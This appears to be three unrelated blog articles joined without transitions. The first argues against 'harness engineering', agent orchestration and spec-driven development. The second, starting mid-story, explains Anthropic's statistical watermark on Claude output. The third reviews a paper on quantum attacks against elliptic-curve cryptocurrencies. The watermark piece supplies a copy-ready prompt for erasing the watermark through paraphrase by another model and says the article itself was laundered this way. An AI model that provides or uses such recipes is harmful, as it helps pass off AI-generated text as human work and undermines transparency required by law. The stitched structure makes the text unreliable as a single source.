You know what I never once felt the urge to do in all that time? Complicate my AI setup. I don’t have a super-customized Pi, no Hermes, no orchestrated agent graph, no numbered-spec pipeline. Thanks to ai-memory, I swap harnesses like I swap underwear: daily, no drama. Claude Code in the morning, Codex in the afternoon, Kimi CLI at night — the project memory travels with me, so the harness becomes a detail.

And detail is the point. Most harnesses are optimized for their own company’s LLM. But “optimized” doesn’t mean “magic,” and I have data on that.

What my benchmark says about harnesses

In my LLM Coding Benchmark I run the same models through different harnesses under controlled conditions. The result is the opposite of what the course market implies:

• For a weak model, the harness rescues. Grok 4.3 built nothing on bare opencode (18 points) and delivered a real app on the grok CLI (55). Gemini 3.1 Pro went from 62 to 88 on Google’s own harness — but the problem there was an OpenRouter transport bug, not a lack of “harness engineering.”
• For a frontier model, the harness is noise. Grok 4.5: 92 on opencode, 91 on the grok CLI. Grok 4.6: 92 and 93. A one-point difference, inside the margin of error. No amount of harness engineering moves a good model.
• Where the harness actually bites is your wallet. The Grok 4.6 run cost $1.19 on the grok CLI versus $6.33 on opencode via OpenRouter — over 5x cheaper for the same ~11 million tokens, because the official CLI uses xAI’s native prompt caching. Same story on Codex: GPT 5.6 Terra cost $6.77 blended because 21 of its 21.7 million tokens were cache hits; Sol, same family, same score, cost about $45.

So yes, picking a decent harness matters — for cost, and to give structure to a weak model. But that’s an afternoon of reading docs and watching your token bill, not a new discipline with a learning track.

Since I mentioned Hermes up there, it’s worth explaining: Hermes Agent is an open-source framework from Nous Research for building your own personal agent — you define the tools, write the loops, configure per-model routing, local/cloud fallback, Telegram and Discord gateways, and it even “learns skills” from use. It’s paradise for the setup crowd.

It’s also a second job: every one of those pieces becomes yours to maintain, update, and debug, forever. And at the end of the day the engine is still the same Claude, GPT, or Qwen everyone else has — the custom chassis doesn’t improve the engine. What Hermes actually solves, context continuity across sessions and tools, a decent harness with something like ai-memory already covers — without you becoming the infrastructure administrator of your own assistant.

If you want an assistant on your own hardware as a hobby or for privacy, that’s a great reason, go for it. As a productivity prerequisite, it’s not one.

Remember this: a good harness is one that charges less and stays out of the way. The rest is the model. And a good model doesn’t need “harness engineering” — at most it needs the transport not to be broken.

Loop Engineering, Graph Engineering, Spec-Driven Development

On to the names, because they describe real things — just tiny ones.

Loop Engineering is this season’s name for designing the cycle an agent repeats: execute, verify against evidence, iterate until a stop condition. The guides list real failure modes — the agent declaring “done” too early, the goal drifting on each pass. But the recommended mitigation is “an independent verifier checking objective evidence.” That’s had a name for fifty years: tests and code review. An agent in a loop with a test suite is the same old basics with a new name.

Graph Engineering is drawing the agent’s workflow as an explicit graph of nodes, branches, and joins — LangChain has three years of that story. It makes sense when the flow is genuinely branched. Except the overwhelming majority of projects is a straight line with an if in the middle. Modeling that as a graph is buying a giant whiteboard to draw one arrow.

Spec-Driven Development is writing a detailed specification first and treating the code as an artifact generated from it — the spec becomes the “source of truth” and the code, a byproduct. Hold that thought, the strong argument is coming right up.

Notice the pattern: each name takes a real, small practice — looping with verification, drawing a flow, writing down what you want before building — and inflates it into a “discipline.” The inflation is the product. A new name creates a course, the course creates a certification, the certification expires in six months and sells you the recertification.

To be fair: the serious guides on these topics already carry the caveat — the most-read graph engineering guide says outright that “you probably don’t need it” and tells you to master the loop before opening a graph, and LangChain has a whole “when not to use graphs” section. The guides are right; the damage comes from the funnel, which throws away the caveat and sells the rest as everyone’s default.

The two that sell the most courses — heavy agent orchestration and spec-driven development — deserve more than definitions. They deserve the argument.

The strong argument against super-orchestration

There’s simple math that orchestrated-agent diagrams never show. If each step of your pipeline succeeds 90% of the time — and that’s optimistic — a ten-agent chain succeeds 0.9^10, or ~35% of the time. Every node is a new failure point, and every edge is tokens spent on agents talking to agents instead of working.

You don’t have to take the math on faith: I accidentally measured it in the benchmark. MiniMax M3 running under an orchestrator looked like Tier D, with 24 points. The same model, clean, scored 91 — Tier A. A swing of up to 69 points between harness conditions means the opposite of what the orchestration vendor claims: when the plumbing dominates the result, you stopped measuring the model and started measuring the plumbing. The best result in the entire benchmark didn’t come from any orchestrated swarm: it came from one strong model, alone, in a simple loop — Fable 5, 96 points, Claude Code, done.

It makes sense once you remember coordination scales badly. Each additional agent doesn’t just add capacity; it adds edges, message contracts, shared state, and conflicting versions of the truth. The router deciding “which agent handles this” becomes both the bottleneck and the bug farm. A committee of mediocre agents with a conductor doesn’t beat one capable agent with good tools and memory.

I’ve tested this directly. Back in April I ran three rounds of “strong model orchestrating cheaper models” — planner + executor, forced delegation, the full package. The result: no multi-agent combination beat the Opus running solo in a mature harness. On a cohesive task like building an app, the planner has to read every output from the executor before dispatching the next step — the two become sequential, with tripled latency and a coordination queue in the middle. It’s the committee again: lots of talking, little software.

It’s not just my benchmark. Cognition, which sells Devin, published “Don’t Build Multi-Agents” with a mechanism sharper than my 90% math: every action carries implicit decisions the other agents can’t see — one subagent draws a Mario-style background, another draws an incompatible bird, and no amount of individual reliability fixes the divergence.

Anthropic itself, which runs a multi-agent research system, admits in its engineering post that multi-agent burns 15x more tokens, that coding is a poor fit for it — most coding tasks aren’t truly parallelizable — and that 80% of their improvement came from simply spending more tokens, not from the architecture.

When Berkeley measured what actually runs in production, 86 systems across 26 domains: 68% of production agents execute at most 10 steps before human intervention. What’s really out there is the simple supervised loop — not the constellation of colored nodes on the consultant’s diagram.

Where orchestration is legitimate: genuinely parallel, independent work — scanning ten thousand files, running ten thousand disposable analyses. Map-reduce has existed for twenty years and never needed a pompous name. And there’s one serious corner beyond it: agents running overnight, unwatched, holding credentials — there, independent verifiers and hard budgets become a security matter, not a style one. But that’s fleet operations, not the day-to-day coding the course is selling you. Outside those niches, most “multi-agent architectures” are one agent’s job with extra YAML.

There’s a reason you hear so much about it: orchestration is visible complexity. It has diagrams, colored nodes, dashboards. A well-driven agent has none of that — no slide deck, no certification, nothing to sell.

Remember this: every added agent multiplies the failure modes. If your system’s result changes when you swap the orchestrator, your system is the orchestrator — and the model was the costume.

The strong argument against spec-driven development

SDD sounds mature because it sounds like “writing documentation.” But look at what it actually proposes: the spec becomes the source of truth and the code becomes a generated artifact. The problem is that a spec precise enough to generate correct code already is a program — except written in prose, and prose doesn’t compile. Every ambiguity in the spec is a bug no compiler catches, in a medium with no tests, no linter, no feedback. SDD doesn’t remove the hard part, which is thinking precisely; it moves the hard part into a format where errors don’t scream.

Remember this: a spec precise enough to generate correct code already is a program — except in prose. And prose doesn’t compile.

Even if you write the perfect spec, it starts dying with the first hotfix. A bug shows up in production, someone fixes it straight in the code, and the spec becomes a lie. We’ve known this law for decades — it’s why documentation rots. Calling the spec the “source of truth” doesn’t change anyone’s incentives.

We’ve run this experiment before, by the way. UML, MDA, “the code generates itself from the model” — twenty-odd years ago it was the same promise with different acronyms. It collapsed every time for the same reason: the model was never the reality; the code was. SDD is MDA with an LLM bolted on. And I’m not the only one seeing Waterfall 2.0 there.

The people who tested the tools seriously landed in the same place. Thoughtworks put spec-driven development in the “Assess” ring of its Technology Radar — not “adopt”, “assess” — after watching the tools inflate small tasks into ceremony, and nailed the summary: we may be “relearning a bitter lesson — that handcrafting detailed rules for AI ultimately doesn’t scale.” That’s Rich Sutton’s Bitter Lesson knocking again — handcrafted structure loses to scale, it always has.

There’s also the temporal inversion. The great lesson of agile was that you discover what you want by building — working software over comprehensive documentation. LLMs just made iteration cheaper than it’s ever been. And what does SDD propose? Expanding the planning phase, right now that iterating got cheap. Wrong answer, wrong direction, wrong time.

It’s the thesis I’ve been hammering since the first Agile Vibe Coding posts: software emerges, it isn’t planned. I wrote this back in February, with receipts: the most important features of the M.Akita Chronicles were born from problems that showed up mid-way — a job that failed silently, a site that blocked the gem, a crash that left emails in limbo. No spec in the world predicts that. The correct system emerges from iteration, not from specification.

The process got documented again when ai-memory grew through 26 contributors in 24 days: good software is a clay sculpture, not a Lego tower — malleable, always adjustable, never done. Whoever tries to design the whole architecture before the first line builds a straitjacket, not a system. Only amateurs still believe you can spec out an entire piece of software before coding it. Real modeling doesn’t come from templates or courses — I covered this years ago in Akitando 144 (video in Portuguese): it’s born from a repertoire of real problems and real code. There’s no ready-made recipe; there never was.

SDD tries to resurrect the idea that you can plan software ahead of time — the idea the industry buried after decades of projects delivered late, wrong, and over budget. LLMs didn’t revalidate that idea; they just gave it a new slide deck.

Even the pro-SDD guides separate the two things: “spec-as-source is where the hype lives; spec-anchored is where the value is today”. My target here is the former. Where heavy specs are legitimate: large teams, legacy codebases, asynchronous work crossing time zones and sprints — the good old design document, which has always existed and always had value. What doesn’t fly is selling that as the new default for everyone.

My benchmark prompt, for the record, is one page of goals. The difference is that I don’t trust the prose: I validate by running it. Precision lives in tests, not in paragraphs.

What you actually need

I’ve already written all of this on this blog, with real-project receipts. It’s called Agile Vibe Coding, and it fits in a paragraph:

It’s XP (eXtreme Programming, the original agile) with an LLM: tests, Clean Code, CI (continuous integration), pair programming, and deploy. You drive the agent like you’d drive a very fast pairing partner: say what you want, watch the execution, correct while mistakes are still cheap. The idea is 10% of the work; the other 90% is normal software engineering, the usual kind. Forget frameworks and three-page templates: what you need is to know what you want, know what you don’t want, and know how to validate when it arrives. And you need balance: neither handing the wheel to the agent nor turning into a comma cop.

That’s over 600 hours of it, over half a million lines, dozens of projects shipped. No graphs, no certifications, no loop with an English name.

Remember this: the idea is 10% of the work; the other 90% is plain software engineering, the usual kind.

The piece that lets me swap harnesses: ai-memory

One of my own tools is the opposite of taxonomy: ai-memory. It was born from a concrete problem. Every harness stores its session in its own format, and when the conversation gets long, it compacts the history to fit the window — and compaction throws away exactly the details that explain why each decision was made. Then you switch tools and start from zero, with the whole project to re-explain.

ai-memory solves this from outside the harness. It reads the native session without touching the original file and stores everything in a searchable ledger: messages, tool calls with results, compaction summaries, a git checkpoint — every event tagged with its origin (from Claude, Codex, OpenCode). When I open another harness, it gets its own native session and receives only the delta it hasn’t seen. When I go back to the previous one, ai-memory resumes it in that client’s format and hands over what happened on the others meanwhile.

That’s why “I swap harnesses like I swap underwear” isn’t a figure of speech. The project’s knowledge lives in the project, not in one tool’s session. If Anthropic changes pricing, limits, or models tomorrow — and they will — I swap the engine without throwing away the trip. The details of how this works are in this post.

There’s an inversion here that takes SDD down as a bonus. Spec-driven development says the source of truth is a document written before the work, trying to predict the future, and that the code owes it obedience. ai-memory does the opposite: the source of truth is a wiki distilled from the work itself — every session becomes evidence, and what deserves to survive (decisions, rules, gotchas, failed attempts) gets consolidated into short Markdown pages that any agent reads before starting.

The spec tries to guess the project; the wiki records the project. A document written beforehand rots at the first hotfix, because nobody is forced to update it. The wiki is fed by the very act of working — and when it goes stale, you notice immediately, because the agents trip over it every session.

Notice that this is real harness engineering: one tool, written once, solving a problem of mine. No course, no acronym, no certification.

Conclusion: ask for the receipt

Don’t waste time or money on a “harness engineering” course, “loop engineering,” or whatever taxonomy is trending this week. It’s a shameless attempt to charge you for things you already do if you know basic software engineering.

We’ve seen this movie before, by the way. Pedro Arantes nailed it on X: “Microservices, clean architecture, hexagonal, and Domain-Driven Design are all bullshit to sell more consulting hours and courses.” Same story, same script. Each of them was born from a real problem — and became the default for people who didn’t have the problem. Microservices for a three-person team, hexagonal architecture for a CRUD (the plain old create-read-update-delete app), DDD to never write code again. The technique passes, the taxonomy stays, the course sells.

So nobody plays dumb: none of this is useless. A loop with verification works. A graph works when the flow is genuinely a graph. Heavy specs save large teams. Microservices solved real problems for people with real scale; DDD shines in genuinely complex domains. The problem was never the tool — it’s selling the tool as a silver bullet, the universal hammer you must apply to everything. Silver bullets don’t exist, they never have. Whoever sells you one isn’t selling a solution; they’re selling a course.

Understand the psychological mechanism, because it’s old and efficient: those terms exist to give you FOMO (Fear of Missing Out). To make you anxious, thinking you’re falling behind, that you’re leaving productivity on the table, that everyone else already migrated to the new paradigm and you haven’t. Anxiety sells. Once you’re insecure, they charge you to implement something you never needed. FOMO is real — and here, it’s the business model.

The model is recurring, too — admire the elegance. First they sell you the methodology that generates artifacts — specs, graphs, boards, diagrams. The artifacts multiply, nobody knows where anything is anymore, and guess who shows up? The same consultancy, now selling the tool that manages the artifacts, the course that teaches you to manage the tool, and the artifact-governance workshop. It’s the shovel salesman congratulating you on the hole you dug — and offering you a bigger shovel.

Gartner even has an official name for it: “agent washing” — take an existing product, slap the “agentic” label on it, resell. Their estimate: only about 130 of the thousands of companies selling themselves as “agentic AI” are real, and their prediction is that 40% of such projects get canceled by the end of 2027, over cost, unclear value, or badly managed risk. No grudge of mine here: it’s the hype cycle, measured, with a public forecast and everything.

Next time an influencer or consultant tries to push those products on you, ask a simple question: where are your dozens of high-quality open-source projects that got better because of those “techniques”?

They have nothing to show. I do — it’s all public, with code, benchmarks, and documented process. When technology becomes a commodity, money migrates to taxonomy. Don’t be a customer of that migration.

No off switch. The backlash came fast: a wave of subscription cancellations, with cancellation screenshots making the rounds on X.

Before you cancel on reflex, it’s worth knowing what the mark actually is. It works quite differently from what most people picture, it exists for a concrete reason, and it vanishes with an almost comic ease.

For those in a hurry, the essentials:

• A statistical bias in the words Claude picks. Invisible to the reader, detectable only by whoever holds Anthropic’s key. Hidden characters and strange fonts stay out.
• The origin is European law, the AI Act. Anthropic signed the EU transparency code and chose to stamp the whole world; the why comes below.
• One pass through another LLM erases the stamp. The signal lives in Claude’s word choices; when another model rewrites the text, even a weak local one, the choices become its own and the pattern dissolves. Anthropic itself admits this.

Each point in detail below.

What this watermark actually is

Strike the invisible Unicode character, the hidden space mid-line, the altered font. Anthropic’s watermark is statistical: it acts at the moment Claude decides which word to use, precisely at the points where several words would serve equally well.

Every language model assembles text one word at a time, pulling the next from a list of likely candidates. When two or three work equally well, a random number settles it. The watermark changes where that randomness comes from: the number now derives from a secret key combined with the preceding words. The method is inherited from SynthID-Text at Google DeepMind.

A concrete example. Talking about the weather, “the sky was overcast” and “the sky was grey” carry the same information. At these synonym junctions, the key leans Claude one way more often than pure chance would. Each individual choice goes unnoticed, but a long text repeats this decision point hundreds of times, and the whole ends up forming a statistical signature.

Anthropic’s announcement is blunt: the text gains nothing, and no character stays hidden. The cost stays the same because no extra tokens are generated, and the reading is identical. Whoever holds the key runs a detector, compares the sequence of words against Claude’s typical choices, and gets back a probability that the text came from Claude.

And what the mark proves boils down to this: Claude was involved at some point. It doesn’t distinguish text the model wrote from scratch from text it merely edited heavily. About you, nothing gets recorded: no user, no company, no identified conversation.

The stamp covers text in Claude.ai, the API, Claude Code, and the other products. In code it shows up less, since code rarely lets you swap one term for an equivalent. Files and images take a different route, a signed piece of metadata called C2PA, instead of this text watermark. And the limitation matters: on short or highly factual passages, where almost no word choice exists, the detector weakens.

Why so many people canceled

The spark added up three ingredients: mandatory, global reach, and no opt-out. The mark can’t be switched off and applies outside Europe too. A wave of Claude Max subscribers canceled citing control and authorship of their own material.

The fear is concrete, professional and academic. Drafting with Claude and signing the result as your own becomes a liability if, down the road, a detector points at “went through AI”. Anthropic answered with a post insisting the mark preserves reading, meaning, and quality, only signaling processing. Not everyone bought it.

The European law behind the stamp

The stamp was born of a concrete obligation. Article 50 of the AI Act requires providers of generative AI systems to mark output in machine-readable form, so artificial content can be identified as such. The obligation took effect on August 2, 2026, and violating it costs real money: fines up to €15 million or 3% of annual global revenue.

Back in July 2026, Anthropic had signed the European Commission’s Code of Practice on Transparency for AI-Generated Content, alongside other major model providers, in a group of roughly 190 signatories. The others will implement their own watermarks too, each with its own key and its own method.

That left Anthropic with a decision: restrict marking to Europe or extend it to the whole planet. The company says it still has no durable way to scope the mark by region, so it chose to stamp everything, everywhere, from day one. Hence the stamp showing up in the text of Brazilian and Japanese subscribers, who have nothing to do with European law.

Can you remove it by passing the text through another LLM?

That’s the question I get most. Short answer: yes, and it’s easy. The signal lives in Claude’s word choices; when another model rewrites the text, the choices become that model’s, and the statistical pattern comes apart.

Anthropic itself admits it. Light retouching probably leaves pieces of the mark, but a complete rewrite, with every word swapped, kills the signal. The logic is simple: the detector measures which synonyms Claude preferred; if another model picked its own synonyms, there’s nothing of Claude left to measure.

Academia confirms the direction. Robustness tests of SynthID, done at Queen’s University, start from perfect detection with no attack and show the rate dropping to around 84% after a dedicated paraphraser, and below 70% with round-trip translation. The more aggressive the rewrite, the more the signal degrades.

And yes, your intuition is right: a modest model, even a local one, does the job. Rearranging text while preserving the meaning is a task that calls for zero deep reasoning. A GLM, a Kimi, a small Llama running on your machine rewrites the paragraph and wipes the signature along the way. Swapping “overcast” for “grey” a thousand times is nowhere near needing the smartest model on the market.

Two honest caveats. The rewrite has to be genuine, word by word; a spell-checker pass doesn’t come close to counting. And all of this applies to the text watermark: files and images carry that C2PA metadata, which comes off by another method, stripping the file’s metadata.

What prompt would pull this off

Add up the watermark’s criteria and the removal prompt practically writes itself. The mark inhabits synonym and structure choices, survives light editing, and needs text of some length. So the prompt has to demand maximum vocabulary and structure swap while holding the meaning in place.

Rewrite the text below in full, in your own words.
Replace the vocabulary and restructure the sentences from start to finish:
pick different synonyms, change the order of the clauses, vary the construction.
Keep the exact meaning, the facts, and the tone.
Avoid reproducing any literal expression from the original.
Return only the rewritten text.

Text:
"""
<paste the Claude text here>
"""

Each line targets one criterion. “In your own words” and “replace the vocabulary” dismantle the synonym junctions where the mark hides. “Restructure the sentences” and “change the order of the clauses” break the word sequence the detector compares. “Avoid reproducing any literal expression” seals the gaps a light edit would leave open.

No magic here, and that’s by design. Anthropic knows the limit and says it plainly: the mark is soft, attests that Claude touched the text, and disappears in the face of a serious rewrite. It works as a provenance label in a world where most people will never bother to erase it; against whoever decides to erase it, the signal is weak.

Where this leaves us

In my accounting, the watermark scares less and does less than both sides of the shouting advertise. It’s invisible, carries zero data about you, and proves at most that Claude passed through the text. A rewrite in any model dissolves it. It’s a deliberately weak provenance label, designed to satisfy European law.

Still, canceling over it follows a logic I understand. Compulsory, planetary marking with no exit door irritates the people paying for the tool. And of the roughly 190 signatories to the European Code, Claude was the first to hit the headlines, absorbing the revolt wave all alone.

If you just want to use Claude and get on with your life, the day-to-day difference is barely there. If you need your text not to scream “AI”, a paragraph rewritten in a local model fixes it, and the recipe comes straight from Anthropic itself. The noise ended up much bigger than the hole.

How this text was made

Transparency suits the subject. The first draft of this article was written by Claude. Then Kimi ran the fact-check, claim by claim, against the original sources, and caught an invented statistic along the way, which we corrected. Finally, GLM rewrote the entire text, word by word, following the recipe from the sections above.

In other words: the article applies to itself what it teaches. It left Claude, passed through Kimi’s sieve, and came back with GLM’s vocabulary and construction. If the original draft carried the watermark, the complete rewrite swapped the word choices, and with them the signal. With no public detector, nobody can check from the outside; the recipe, anyone can test.

The document is called Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities, and the author list alone forces you to take it seriously: it’s Google Quantum AI (with Craig Gidney, the same guy behind the recent RSA-breaking estimates), plus the Ethereum Foundation (Justin Drake) and Stanford (Dan Boneh, one of the fathers of elliptic-curve cryptography). This is people who build quantum computers sitting at the same table as people who invented a good chunk of the cryptography running today. Rare weight for a subject that usually attracts a lot of hot takes from folks who never read a line of what they’re trashing.

First things first: read the paper directly. It’s long and dense, but written with rare care, including an explicit effort not to turn into FUD.

What I’m doing here is my own read, then comparing it with what GLM, Kimi, and ChatGPT made of it when I asked them to tear the text apart, and finally trying to answer the question that matters to anyone holding a handful of satoshis or ether: in the real world, what are the odds a quantum computer steals your money in the next few years?

I’ll tip the spirit of it upfront: the sky isn’t falling. But the “start moving now” message has real grounding, and the reason is subtler than “quantum is coming.”

The short version, for the impatient:

• The paper is serious and the math holds. Google, the Ethereum Foundation, and Stanford show that breaking secp256k1 dropped to under 500,000 physical qubits and about 9 minutes, in a conditional scenario already confirmed by open, independent reproduction.
• This measures the machine’s size; the date stays open. Today’s best hardware works with about 12 logical qubits, and the attack asks for more than 1,200. On IBM’s roadmap, hardware of the right size shows up around 2033.
• Bitcoin isn’t ending. The risk hits whoever has an exposed public key, a subset of addresses (around 6.9 million BTC, much of it already lost). A modern no-reuse wallet stays safe at rest, and mining is at no risk at all.
• What you can do. As a user, key hygiene: a fresh address per use, no reuse (a stronger password doesn’t help against quantum). As an industry, start the post-quantum migration now, in layers, without throwing everything out.

Below, each of these points in full: what the paper says, where I agree and disagree with the other models, the real odds with timelines, and what to do in practice.

What the paper actually says, in plain engineer terms

Let me get the jargon out of the way first. The security of Bitcoin, Ethereum, and almost all crypto rests on a math problem: given a public key, computing the matching private key is infeasible. Everyone sees your public key; nobody can walk back from it to your private key. That one-way street is what makes a digital signature worth anything.

Shor’s algorithm, running on a big enough quantum computer, breaks exactly that one-way street. It turns “infeasible” into “a matter of minutes.” That’s been known since 1994. The paper’s news is something else, and it’s five points.

First: the cost collapsed. The Google team presents new circuits for solving the secp256k1 curve (the curve behind Bitcoin and Ethereum accounts) using far fewer resources than anyone thought. Two recipes: one with under 1,200 logical qubits and 90 million Toffoli gates, another with under 1,450 logical qubits and 70 million gates.

On superconducting hardware, with standard error-correction assumptions, that would fit in under 500,000 physical qubits — nearly 20 times fewer than prior estimates — and run in 9 to 12 minutes from a precomputed state. Hold onto that number: 9 minutes. It’s the scary one, because it’s shorter than Bitcoin’s average block interval.

Second: they didn’t publish the circuit. Here’s a move that’s elegant and controversial at once. To prove they have a circuit that size without handing everyone a loaded gun, they published a zero-knowledge proof: a mathematical proof that they possess the circuit, without revealing the circuit. Responsible in intent. Except, as I’ll get to, this part was the shakiest piece of the whole story.

If “zero-knowledge proof” sounds esoteric, the idea is simple and old in cryptography: prove you know or have something without revealing the thing itself. You can prove you’re of legal age without showing your birthdate, or that you know a password without typing it.

It’s the same trick behind the privacy of several cryptocurrencies: Zcash uses ZK (the so-called zk-SNARKs) to validate shielded transactions without exposing amount or address, Monero uses range proofs (bulletproofs) to hide how much was sent, and Ethereum’s zk-rollups use ZK to prove a batch of transactions is valid without reprocessing all of it. In the paper, Google uses the same family of tool to prove it possesses the circuit, without handing over the circuit.

Third: not every quantum computer is good for everything. The paper draws a distinction that’s the text’s best practical contribution. There’s the “fast clock” (superconducting, photonic) and the “slow clock” (trapped ions, neutral atoms), with a 100x to 1,000x speed difference. Out of that speed come three types of attack:

• On-spend attack: the attacker intercepts your transaction in the mempool, breaks the key, and injects a rival transaction before your spend lands in a block. Needs a fast clock, because it’s a race against the block clock.
• At-rest attack: the public key is already exposed on the blockchain (a dormant wallet, a reused key). The attacker has days or months to work. Even a slow clock does the job.
• On-setup attack: a single quantum computation extracts a secret from a cryptographic ceremony and becomes a reusable master key, which then runs on ordinary classical computers. This one’s the most insidious, and it hits things like Ethereum’s data-availability mechanism.

Fourth: the map of who bleeds. On Bitcoin, the at-rest targets are the old P2PK scripts (about 1.7 million BTC, almost all Satoshi-era and probably lost), Taproot (P2TR, which exposes the key), and any reused address.

All told, the paper estimates around 6.9 million BTC vulnerable today, of which some 2.3 million have been dormant for more than five years. Modern addresses that hide the key behind a hash and have never spent stay safe at rest.

And there’s good news buried here: Bitcoin mining is not at risk. Grover’s algorithm, which would attack mining, has too small a gain and doesn’t parallelize; error-correction overhead eats it all. The paper buries that myth on purpose.

Bitcoin mining is not at risk. Quantum toppling Proof-of-Work is the myth this paper buries on purpose.

Fifth: Ethereum has a much larger surface. The account model exposes the public key permanently after the first transaction, unlike Bitcoin’s UTXO model. Add to that contract admin keys (stablecoins, bridges, oracles), the BLS signatures holding up Proof-of-Stake consensus, and the KZG commitments in the data layer. More stuff exposed, and much of it you can’t “change addresses” to escape.

And how does the paper argue all this? Three legs: the resource estimates (with the zero-knowledge proof for credibility), real blockchain data (the BTC and ETH at-risk figures come from public BigQuery queries), and the honest framing that the goal is to sound the alarm to migrate, making clear the machine is still to come.

The paper, by the way, gives no date. It sizes the machine and stops there; the calendar stays open.

Where I agree and disagree with the other models

I asked GLM 5.3, Kimi K3, and ChatGPT (GPT 5.6) to analyze and criticize the paper. The interesting part is that all three, and I, converge on the essentials and diverge on exactly the same points. That’s a good sign: when different models hammer the same nail, the nail usually exists.

What everyone agrees on (me included):

• The logical-resource estimate is credible. It’s not a number out of nowhere: it follows the historical trajectory (the cost to break RSA-2048 fell from ~1 billion qubits in 2012 to under 1 million in 2025) and comes from the very group that produced the field’s best estimates.
• The fast-clock / slow-clock distinction and the spend / rest pairing are the right lens for thinking about mitigation.
• The mining immunity is correct and needed saying out loud.
• Dormant assets are a real problem no software fork solves on its own, because nobody holds the private key to move the lost coins.

What everyone flags (and I flag harder):

ChatGPT was the sharpest on a distinction worth gold: there’s a gulf between “value at risk” and “expected loss”. When the paper says “20.5 million ETH in vulnerable accounts” or “6.9 million BTC exposed,” that measures how much the system leans on fragile cryptography. It’s a far bigger number than what an attacker could actually steal.

There’s overlap, there’s multisig, there’s admin keys you can rotate, there are contracts with an emergency council that pauses everything. Stacking those numbers into a “trillions at risk” headline is dishonest to the paper itself.

“Value at risk” measures how much the system leans on fragile cryptography. It’s a far bigger number than what an attacker could actually steal.

Same goes for the famous 41% chance of theft on Bitcoin. That number is only the probability that the 9-minute computation finishes before the next block shows up (a block arrives every 10 minutes on average, but with a lot of variance). It’s not the chance of stealing your money.

To steal, the attacker still has to propagate the rival transaction, convince a miner to include it, win the fee race. And the paper itself assumes attacker-friendly conditions (no network congestion, instant delivery). Kimi and ChatGPT hit this one, and they’re right.

The most important point, and one I think the paper leaves between the lines on purpose: the 500,000 physical qubits and the 9 minutes describe a conditional engineering scenario. On dates, the paper says nothing. It’s a blueprint for a machine that could do the attack, assuming a 0.1% error rate, 1-microsecond correction cycles, low-latency decoding, enough magic-state factories, and half a million qubits running stable for minutes on end.

Each assumption is reasonable in isolation. The whole chain working together, at that scale, nobody has demonstrated.

And here’s the most interesting part, which Kimi and ChatGPT caught and I confirmed by searching outside: the zero-knowledge proof mechanism had a bug. Trail of Bits managed to forge a proof by exploiting memory and logic bugs in Google’s Rust verifier code, to the point of generating a proof that reported zero Toffoli gates for a circuit that wasn’t even reversible.

Notice what that breaks and what it doesn’t. The flaw was in the software that checks the proof, not in any demonstration that the paper’s circuit is wrong. The proof stopped being trustworthy, and the scientific claim itself stayed standing, neither proven nor disproven. Google patched the verifier in version 2.

The lesson is about trust: instead of trusting Google’s word, the proof was asking you to trust its parser, its compiler, and its simulator.

And that’s exactly why the independent reproduction matters so much. In June 2026, researcher André Schrottenloher rebuilt the circuits in the open, landing in the same region: about 56 million Toffoli gates, with the entire circuit published and reproducible.

Gidney himself acknowledged the reproduction captured the essential breakthrough, and after that others already pushed the number below a thousand logical qubits. So: the paper’s central claim held up, but through a route that doesn’t depend on trusting anyone’s proof software. Open science is what closed the case.

One last point almost nobody raises and I think needs saying: conflict of interest. Seven authors are from Google Quantum AI, whose hardware roadmap is precisely the superconducting architecture the paper makes look like the nearest threat. And there’s an Ethereum Foundation coauthor on a paper that ranks Ethereum as more exposed and recommends urgent migration.

The authors disclose long positions in crypto and no shorts, which is honest. None of this invalidates anything — the team’s technical chops are the best in the field — but it calls for a calibrated read, with a cool head.

The question that matters: what are the real odds, and when?

Let’s separate the theoretical from the real, which is where most of these debates turn to mush.

In theory, the answer is yes, comfortably. If a big, stable enough machine exists, Shor’s algorithm breaks secp256k1. On the math side it’s already settled; what’s left is engineering. The whole question boils down to: when does that machine exist?

Physical qubit versus logical qubit

A quick aside to separate two numbers that trip almost everyone up: physical qubit and logical qubit. The physical qubit is the real hardware, and it’s noisy; it loses its state in a blink, from interference, heat, vibration. On its own, it errs far too much for any serious computation.

The fix is error correction: you gang up hundreds or thousands of physical qubits, all representing one logical qubit, and use the redundancy to detect and repair errors in real time. The logical qubit is the “real,” stable qubit the algorithm actually sees.

And that’s where the difficulty hides behind the numbers. The attack doesn’t just ask for 1,200 logical qubits; it asks for 1,200 logical qubits working together, all stable at the same time, for minutes on end, running tens of millions of operations without the correction system getting buried under errors.

It’s like keeping a thousand plates spinning at once, each plate made of a thousand pieces that want to fall, for the entire length of the show. Keeping a single such plate up for an instant was the historic feat of 2024. The jump to a thousand plates, spinning for minutes, is the real chasm.

Where the hardware stands today

In today’s reality, we’re far off. Google itself helps measure the distance. Willow, their flagship chip, demonstrated below-threshold error correction in 2024, a historic feat. But the result was a single well-corrected logical qubit, built from 101 physical ones, which outlived every one of them.

If the ruler is the number of logical qubits running together, the public record today is around a dozen (Quantinuum reached 12). The paper asks for more than 1,200. On both rulers, quality and quantity, the distance runs to roughly a hundredfold, and each logical qubit still costs thousands of physical qubits with the stability we’re missing.

In physical qubits, the largest announced system is in the low thousands; the attack wants nearly half a million. Several orders of magnitude of distance, across several dimensions at once. Nothing a fine-tuning pass fixes.

Today’s best hardware works with logical qubits in the dozen range. The attack needs more than a thousand. The gap is orders of magnitude.

There’s also a bet that sidesteps this brute-force game: the topological one, from Microsoft. The idea is a hardware-protected qubit, naturally more error-resistant, which would slash the count of physical qubits per logical one. Majorana 2, in 2026, swapped aluminum for lead and jumped coherence from milliseconds to 20 seconds, and Microsoft pulled its fault-tolerance target from 2033 to 2029.

But it’s the most disputed bet of them all. Much of the community doubts a real working topological qubit is even there; the latest paper shows only half the measurements that would prove the qubit. If it pans out, it’s a shortcut for everyone; if not, it’s a dead end. I broke this case down in a separate article.

The roadmaps and the timelines

The near future is where the real debate lives. The honest way to talk about it is with estimates, because nobody has certainty here. The most-cited reference is the Global Risk Institute’s Quantum Threat Timeline, an annual survey of experts in the field.

The 2025 edition gives something like 34% odds of a cryptographically relevant quantum computer by ~2030 and ~49% by ~2035, with the median opinion landing between 2029 and 2032. And those estimates are for a generic CRQC, typically framed around breaking RSA-2048.

On the manufacturing side, the most explicit roadmap is IBM’s. It projects Starling in 2029, the first large-scale fault-tolerant machine, with 200 logical qubits and 100 million operations.

Notice that 200 still sits below the more than 1,200 the attack asks for. The machine of the right size only shows up on the next step, Blue Jay, slated for 2033, with 2,000 logical qubits and a billion operations.

